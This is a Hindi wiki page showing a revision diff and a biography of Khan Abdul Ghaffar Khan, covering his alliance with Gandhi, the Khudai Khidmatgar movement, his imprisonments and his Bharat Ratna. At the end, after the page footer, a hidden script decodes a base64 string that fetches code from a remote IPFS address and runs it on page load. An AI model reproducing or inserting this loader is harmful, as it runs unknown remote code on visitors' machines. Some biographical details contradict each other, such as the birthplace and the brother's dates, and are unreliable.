ख़ान अब्दुल गफ़्फ़ार ख़ान: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
m (Text replace - "==सम्बंधित लिंक==" to "==संबंधित लेख==")
Line 50: Line 50:
*[http://www.kamat.com/database/biographies/khan_abdul_gaffar_khan.htm Biography: Khan Abdul Ghaffar Khan]
*[http://www.kamat.com/database/biographies/khan_abdul_gaffar_khan.htm Biography: Khan Abdul Ghaffar Khan]
*[http://www.columbia.edu/itc/mealac/pritchett/00routesdata/1900_1999/abdulghaffarkhan/abdulghaffarkhan.html Khan Abdul Ghaffar Khan]
*[http://www.columbia.edu/itc/mealac/pritchett/00routesdata/1900_1999/abdulghaffarkhan/abdulghaffarkhan.html Khan Abdul Ghaffar Khan]
==सम्बंधित लिंक==
==संबंधित लेख==
{{भारत रत्‍न}}
{{भारत रत्‍न}}
{{स्वतन्त्रता सेनानी}} 
{{स्वतन्त्रता सेनानी}} 

Revision as of 13:57, 14 September 2010

(जन्म- 1890, उतमंजाई, भारत- मृत्यु- 20 जनवरी 1988, पेशावर, पाकिस्तान),
thumb|अब्दुलगफ़्फ़ार ख़ान 20वीं शताब्दी में पख़्तूनों (या पठान; पाकिस्तान और अफ़ग़ानिस्तान का मुसममान जातीय समूह) के सबसे अग्रणी और करिश्माई नेता थे, जो महात्मा गांधी के अनुयायी बन गए और उन्हें ‘सीमांत गांधी’ कहा जाने लगा । अब्दुल गफ़्फ़ार ख़ाँ का जन्म एक सम्पन्न परिवार में हुआ था। वह बचपन से ही अत्यधिक दृढ़ स्वभाव के व्यक्ति हैं, इसलिये अफ़ग़ानों ने उन्हें 'बाचा ख़ान' के रूप में पुकारना प्रारम्भ कर दिया। आपका सीमा प्रान्त के क़बीलों पर अत्यधिक प्रभाव था। गांधी जी के कट्टर अनुयायी होने के कारण ही उनकी 'सीमांत गांधी' की छवि बनी। विनम्र ग़फ़्फ़ार ने सदैव स्वयं को एक 'स्वतंत्रता संघर्ष का सैनिक' मात्र कहा, परन्तु उनके प्रसंशकों ने उन्हें 'बादशाह ख़ान' कह कर पुकारा। गांधी जी भी उन्हें ऐसे ही सम्बोधित करते थे। राष्ट्रीय आन्दोलनों में भाग लेकर उन्होंने कई बार जेलों में घोर यातनायें झेली हैं। फिर भी वे अपनी मूल संस्कृति से विमुख नही हुए। इसी वज़ह से वह भारत के प्रति अत्यधिक स्नेह भाव रखते थे।

जीवन परिचय

ख़ान अब्दुल गफ़्फ़ार ख़ान का जन्म पेशावर, पाकिस्तान में हुआ था। उनके परदादा 'अब्दुल्ला ख़ान' बहुत ही सत्यवादी और जुझारू स्वभाव थे। उनके पिता 'बैरम ख़ान' शांत स्वभाव के थे और ईश्वरभक्ति में लीन रहा करते थे। उन्होंने अपने लड़के अब्दुल गफ़्फ़ार ख़ान को शिक्षित बनाने के लिए 'मिशनरी स्कूल' में भेजा, पठानों ने उनका बड़ा विरोध किया। मिशनरी स्कूल की पढ़ाई समाप्त करने के बाद वे अलीगढ़ आ गए। गर्मी की छुट्टियों में समाजसेवा करना उनका मुख्य काम था। शिक्षा समाप्त कर वह देशसेवा में लग गए।

  • सरहद के पार आज भी अपने लोगों की स्वाधीनता के लिए संघर्षरत 'सीमांत गांधी' के नाम से विख्यात ख़ान अब्दुल ग़फ़्फ़ार ख़ाँ प्रारम्भ से ही अंग्रेजों के ख़िलाफ़ थे।

गाँधी से परिचय

  • राजनीतिक असंतुष्टों को बिना मुक़दमा चलाए नज़रबंद करने की इजाज़त देने वाले रॉलेट एक्ट के ख़िलाफ़ 1919 में हुए आंदोलन के दौरान ग़फ़्फ़ार ख़ां की गांधी जी से मुलाक़ात हुई और उन्होंने राजनीति में प्रवेश किया।
  • अगले वर्ष वह ख़िलाफ़त आंदोलन में शामिल हो गए, जो तुर्की के सुल्तान के साथ भारतीय मुसलमानों के आध्यात्मिक संबंधों के लिए प्रयासरत था और 1921 में वह अपने गृह प्रदेश पश्चिमोत्तर सीमांत प्रांत में ख़िलाफ़त कमेटी के ज़िला अध्यक्ष चुने गए।

ख़ुदाई ख़िदमतगार की स्थापना

1929 में कांग्रेस पार्टी की एक सभा में शामिल होने के बाद ग़फ़्फ़ार ख़ां ने ख़ुदाई ख़िदमतगार (ईश्वर के सेवक) की स्थापना की और पख़्तूनों के बीच लाल कुर्ती आंदोलन का आह्वान किया । विद्रोह के आरोप में उनकी पहली गिरफ्तारी 3 वर्ष के लिए हुई थी। उसके बाद उन्हें यातनाओं की झेलने की आदत सी पड़ गई। जेल से बाहर आकर उन्होंने पठानों को राष्ट्रीय आन्दोलन से जोड़ने के लिए 'ख़ुदाई ख़िदमतग़ार' नामक संस्था की स्थापना की और अपने आन्दोलनों को और भी तेज़ कर दिया।

सीमांत गांधी और भारतीय राष्ट्रीय कांग्रेस

मुस्लिम लीग ने जहाँ पख़्तूनों को इस आन्दोलन के लिये कोई मदद नहीं दी, वहीं कांग्रेस ने उन्हें अपना पूर्ण समर्थन दिया। अतः वे पक्के कांग्रेसी बन गए और यहीं से वे गांधी जी के अनुयायी के रूप में प्रतिष्ठित होते चले गये। ख़ान ने पठानों को गांधी जी का 'अहिंसा' का पाठ पढ़ाया।

शांतिप्रिय बादशाह ख़ान

  • पेशावर में जब 1919 ई. में अंग्रेज़ों ने 'फौज़ी क़ानून' (मार्शल लॉ) लगाया। अब्दुल गफ़्फ़ार ख़ान अंग्रेज़ों के सामने शांति का प्रस्ताव रखा, फिर भी उन्हें गिरफ़्तार कर लिया गया।
  • 1930 ई. में सत्याग्रह करने पर वे पुन: जेल भेजे गए और उन्हें गुजरात (उस समय पंजाब का भाग) की जेल भेजा गया। वहाँ पंजाब के अन्य बंदियों से उनका परिचय हुआ। उन्होंने जेल में सिख गुरूओं के ग्रंथ पढ़े और गीता का अध्ययन किया। हिंदु मुस्लिम एकता को ज़रूरी समझकर उन्होंनें गुजरात की जेल में गीता तथा क़ुरान की कक्षा लगायीं, जहाँ योग्य संस्कृतज्ञ और मौलवी संबंधित कक्षा को चलाते थे। उनकी संगति से सभी प्रभावित हुए और गीता, क़ुरान तथा ग्रंथ साहब आदि सभी ग्रंथों का अध्ययन सबने किया।

अहिंसक राष्ट्रीय आंदोलन का समर्थन

  • यह आंदोलन भारत की आज़ादी के अहिंसक राष्ट्रीय आंदोलन का समर्थन करता था और इसने पख़्तूनों को राजनीतिक रूप से जागरूक बनाने का प्रयास किया।
  • 1930 के दशक के उत्तरार्द्ध तक ग़फ़्फ़ार ख़ां महात्मा गांधी के निकटस्थ सलाहकारों में से एक हो गए और 1947 में भारत का विभाजन होने तक ख़ुदाई ख़िदमतगार ने सक्रिय रूप से कांग्रेस पार्टी का साथ दिया ।
  • उनके भाई डॉक्टर ख़ां साहब (1858-1958) भी गांधी के क़रीबी और कांग्रेसी आंदोलन के सहयोगी थे ।
  • सन 1930 ई. के गांधी इरविन समझौते के बाद अब्दुल गफ़्फ़ार ख़ानको छोड़ा गया और वे सामाजिक कार्यो में लग गए।
  • 1937 के प्रांतीय चुनावों में कांग्रेस ने पश्चिमोत्तर सीमांत प्रांत की प्रांतीय विधानसभा में बहुमत प्राप्त किया। ख़ां साहब को पार्टी का नेता चुना गया और वह मुख्यमंत्री बने।
    • 1942 ई. के अगस्त आंदोलन में वह गिरफ्तार किए गए और 1947 ई. में छूटे।
  • देश के विभाजन के विरोधी ग़फ़्फ़ार ख़ां ने पाकिस्तान में रहने का निश्चय किया , जहां उन्होंने पख़्तून अल्पसंख़्यकों के अधिकारों और पाकिस्तान के भीतर स्वायत्तशासी पख़्तूनिस्तान (या पठानिस्तान) के लिए लड़ाई जारी रखी।
  • भारत का बँटवारा होने पर उनका संबंध भारत से टूट सा गया किंतु वह भारत के विभाजन से किसी प्रकार सहमत न थे। पाक़िस्तान से उनकी विचारधारा सर्वथा भिन्न थी। पाक़िस्तान के विरूद्ध 'स्वतंत्र पख़्तूनिस्तान आंदोलन' आजीवन चलाते रहे।
  • उन्हें अपने सिद्धांतों की भारी क़ीमत चुकानी पड़ी , वह कई वर्षों तक जेल में रहे और उसके बाद उन्हें अफ़ग़ानिस्तान में रहना पड़ा।
  • 1985 के 'कांग्रेस शताब्दी समारोह' के आप प्रमुख आकर्षण का केंद्र थे।
  • 1970 में वे भारत भर में घूमे।
  • 1972 में वह पाकिस्तान लौटे ।
  • उनका संस्मरण ग्रंथ "माई लाइफ़ ऐंड स्ट्रगल" 1969 में प्रकाशित हुआ।

भारत रत्न

  • ख़ान अब्दुल गफ़्फ़ार ख़ान को वर्ष 1987 मे भारत सरकार की ओर से भारत रत्न से सम्मनित किया गया।

मृत्यु

सन 1988 में पाक़िस्तान सरकार ने उन्हें पेशावर में उनके घर में नज़रबंद कर दिया गया। 20 जनवरी, 1988 को उनकी मृत्यु हो गयी और उनकी अंतिम इच्छानुसार उन्हें जलालाबाद, अफ़ग़ानिस्तान में दफ़नाया गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>